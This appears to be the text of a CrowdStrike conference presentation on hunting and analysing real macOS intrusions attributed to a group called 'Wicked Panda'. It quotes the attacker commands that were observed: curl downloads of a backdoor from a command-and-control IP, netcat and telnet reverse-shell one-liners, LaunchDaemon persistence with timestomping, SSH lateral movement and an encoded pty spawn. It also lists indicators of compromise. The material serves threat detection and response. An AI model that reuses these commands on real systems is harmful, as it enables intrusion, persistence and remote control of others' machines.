



CROWDSTRIKE

MACDOORED

A FIRST LOOK INTO REAL-WORLD MACOS INTRUSIONS



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
JARON BRADLEY started his career out of college as an incident responder. He originally joined CrowdStrike on what is now known as the OverWatch team sifting through customer data and looking for malicious activity. He then moved to the Engine Content and Detections team where he focused on writing detections for the macOS sensor. He now works on the Strategic Counter-Adversarial Research team developing and enabling new ways to catch malicious actors within customer networks. Jaron is the Author of OS X Incident Response Scripting and Analysis.


Macdoored Agenda

- 1 Mac Hunting Overview
- 2 Detections in the Wild
- 3 Detection and Analysis Difficulties
- 4 Attacker Intrusions
- 5 Wrap- up



THE IMPORTANCE OF THE PROCESS TREE







DETECTION/ANALYSIS DIFFICULTIES

- All the commands an attacker could ever need are on the system
- Admin and Attacker activity can look like the same thing
- Backdoors can be written in many different languages
- Malware sample size incredibly small compared to Windows






THE INTRUSION



RECON



launchd

sshd

bash

sw_vers

system_profiler

dsccl . -list /Users

ping -c1 <system>

dig <host>

dns-sd -B <service>






CROWDSTRIKE

BACKDOOR



BACKDOOR INSTALLATION



launchd

sshd

bash

```
curl -O hxxp://61.78.62.21:8080/Tssd
```

```
chmod +x Tssd
```

```
mv /var/tmp/Tssd rutil
```

```
touch -r r2util rutil
```

```
ls -la /usr/local/bin/rutil
```


```
vim /etc/.cache
```

```
chmod 400 .cache
```




BACKDOOR VARIANTS

System 1



System 2



System 3



































61.78.62.21

WICKED PANDA



CROWDSTRIKE

Detection	Details	Relations 	Behavior	Community
Ad-Aware	 Trojan.MAC.Keydnap.J		Arcabit	 Trojan.MAC.Keydnap.J
Avast	 MacOS:Agent-AK [Trj]		AVG	 MacOS:Agent-AK [Trj]
Avira	 OSX/Mibsun.ihgqm		BitDefender	 Trojan.MAC.Keydnap.J
Comodo	 UnclassifiedMalware		Emsisoft	 Trojan.MAC.Keydnap.J (B)
Endgame	 malicious (high confidence)		eScan	 Trojan.MAC.Keydnap.J
ESET-NOD32	 OSX/Keydnap.C		F-Secure	 Trojan.MAC.Keydnap.J
Fortinet	 W32/Multi.MIBSUN!tr.bdr		GData	 Trojan.MAC.Keydnap.J
Kaspersky	 HEUR:Backdoor.Multi.Mibsun.gen		MAX	 malware (ai score=86)
McAfee	 RDN/Generic.osx		McAfee-GW-Edition	 RDN/Generic.osx
NANO-Antivirus	 Trojan.Mac.Multi.erinsk		Panda	 OSX/BHT.O
Qihoo-360	 Win32/Backdoor.Multi.f41		Sophos AV	 OSX/Bckdr-RUZ
Symantec	 OSX.Trojan.Gen		Tencent	 Win32.Backdoor.Mibsun.Ednd
ZoneAlarm	 HEUR:Backdoor.Multi.Mibsun.gen		AegisLab	 Clean
AhnLab-V3	 Clean		Antiy-AVL	 Clean
Avast Mobile Security	 Clean		AVware	 Clean



CROWDSTRIKE

LAUNCHD

PRL-MONITOR

BASH

MORE

SH

LS

W

User Details

Host Details

No AV Detections

Network Operation

Network Connect (IPv4)

LOCAL	REMOTE	PORT
0.0.0.0	61.78.62.21	53

No Disk Operations



No DNS Requests

No Registry Operations


No Process Operations




CURL ALL THE THINGS



QUICK HUNTING NOTE



WHOOOPS...



launchd

sshd

bash

`nc 61.78.62.21 53 -e /bin/sh`

`nc -e /bin/sh 61.78.62.21 53`

`nc --e /bin/sh 61.78.62.21 53`

`nc --exec /bin/sh 61.78.62.21 53`

`/bin/sh | nc 61.78.62.21 53`

`mknod /tmp/p p && telnet 61.78.62.21 53 0/tmp/p`





CROWDSTRIKE

PERSISTENCE



TYPICAL PERSISTENCE

System Integrity Protection Level

/System/Library/LaunchDaemons

/System/Library/LaunchAgents

Root Level

/Library/LaunchDaemons


/Library/LaunchAgents

User Level

/Users/\$USER/Library/LaunchDaemons

/Users/\$USER/Library/LaunchAgents





PERSISTENCE

launchd

sshd



bash

```
vim  
/Library/LaunchDaemons/com.apple.xsprinter.plist
```

```
launchctl load -w  
/Library/LaunchDaemons/com.apple.xsprinter.plist
```




MORE THAN JUST A SYSTEM CHECK



```
--> sudo touch /usr/bin/hello  
Password:  
touch: /usr/bin/hello: Operation not permitted
```



YOSEMITE PERSISTENCE



launchd

sshd

bash

```
/System/Library/LaunchDaemons/com.apple.xsprinter.plist
```

```
touch -r ssh.plist com.apple.xsprinter.plist
```

```
launchctl load -w  
/System/Library/LaunchDaemons/com.apple.xsprinter.plist
```



PERSISTENCE PIGGYBACKING

```
--> sudo defaults read /var/root/Library/Preferences/com.apple.Loginwindow.plist
{
  EnableMCX: #!/bin/sh
  LoginHook: ## Ignore the casperscreensharing and _mbsetupuser users
  LogoutHook: if [ "$1" == "_mbsetupuser" -o "$1" == "casperscreensharing" ];
}
--> fi
hook.sh";
uthook.sh";

## Verify that the JSS is available
if /usr/local/jamf/bin/jamf checkJSSConnection -retry 0 ;
then

  ## Log the event to the JSS
  /usr/local/jamf/bin/jamf log -action login -username "$1" &

  ## Check for policies on the JSS
  /usr/local/jamf/bin/jamf policy -action login -username "$1" &

else

  /usr/local/jamf/bin/jamf policy -action login -username "$1" -offline &

fi

exit 0
```






CROWDSTRIKE

CLEANUP



MINOR STEALTH





LATERAL MOVEMENT



LATERAL MOVEMENT

CROWDSTRIKE



61.78.62.21

launchd

rutil

bash

```
grep ssh .bash_history
```

```
cat known_hosts
```

```
curl -sO hxxp://61.78.62.21:8080/rs
```

```
ssh -TNfq -Frs
```

```
ssh -o UserKnownHostsFile=/dev/null <ip>
```

```
ssh user@ip -o UserKnownHostsFile=/dev/null
```

launchd


sshd

bash

sw_vers



SUDO



PTY | TTY

- python -c import base64;exec(base64.b64decode('aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vYmFzaCcp'));

```
-->echo aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vYmFzaCcp | base64 -D  
import pty;pty.spawn('/bin/bash')-->
```




STATIC INDICATORS


- <https://github.com/jbradley89/shakacon-yara>
- Backdoor
 - 8029e7b12742d67fe13fcd53953e6b03ca4fa09b1d5755f8f8289eac08366efc
 - a5f7b13d0f259277e40e3711070121e451415d7d3a5e68382fc82c2fe3635db1
 - 5b0cc5dd2897e697751b8204d8b74edd66466d651d233c76899c5521a60f6527
- IPs
 - 61.78.62[,]21 (C2)
- Backdoor File Names
 - /usr/local/bin/google-updater
 - /usr/local/bin/prl-monitor
 - /usr/local/bin/git-lf
 - /usr/local/sbin/nortonscanner
 - /usr/local/plutil
- LaunchDaemon File Names
 - /Library/LaunchDaemons/com.apple.xsprinter.plist
 - /System/Library/LaunchDaemons/com.apple.xsprinter.plist




WICKED PANDAS?



PASTEBIN



EXFIL



CROWDSTRIKE

← → ↻ 🏠 ⓘ Not Secure | rootkiter.com/EarthWorm/en/index.html ☆ 🔒 🌐



./ Earthworm

[中文页](#) [Support List](#)


EW is a simple network tunnel with SOCKS v5 sever and port transfer. It works well in various situations.

PS: The Latest Version, <http://www.rootkiter.com/Termite>

Download ew.zip

Description

Use case example:



It supports "forward", "backward" and "multi-transfer" modes and can penetrate deeply into the intranet.

It support various OS such as Linux, Windows, MacOS, Arm-Linux.
More is coming...

Usage:

The following examples are with default proxy port 1080 and SOCKSv5.

It has 6 command types: ssocksd, rcsocks, rsocks, lcx_slave, lcx_listen, lcx_tran.

• 1. Forward SOCKS v5

```
$ ./ew -s ssocksd -l 1080
```

• 2. Backward SOCKS v5

2 steps:

a) Run the following command in hostA with public ip;

```
$ ./ew -s rcsocks -l 1080 -e 8888
```

b) Start SOCKS v5 server on hostB which will transfer the data to port 8888 of hostA.

```
$ ./ew -s rsocks -d 1.1.1.1 -e 8888
```

enjoy now.



- Twitter: @jbradley89
 - Questions?

